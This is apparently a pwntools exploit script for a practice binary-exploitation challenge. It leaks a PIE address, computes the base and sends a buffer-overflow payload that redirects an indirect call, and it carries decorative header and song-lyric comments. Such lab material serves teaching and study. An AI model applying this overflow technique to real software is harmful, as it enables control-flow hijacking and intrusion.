# +------------------------------------------------+
# | Atack: Indirect Call Pie                       |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare

# +------------------------------------------------+
# | Atack: Indirect Call                           |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare

from pwn import *

import sf

target = process("./chall-test_IndrCall-02-x86")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=32)

target.recvuntil("Don't live your life in shame: ")
leak = int(target.recvline().strip(b"\n"), 16)
pie_base = leak - (1480)
bof_payload.add_base("pie", pie_base)
bof_payload.set_input_start(0x34)
bof_payload.add_int32(0x20, 0x59d, "pie")
payload = bof_payload.generate_payload()
target.sendline(payload)


target.interactive()

# +------------------------------------------------+
# | Artist: Avenged Sevenfold                      |
# +------------------------------------------------+
# | Song: Welcome to the Family                    |
# +------------------------------------------------+
# | There is no way,                               |
# | to rationalize                                 |
# +------------------------------------------------+

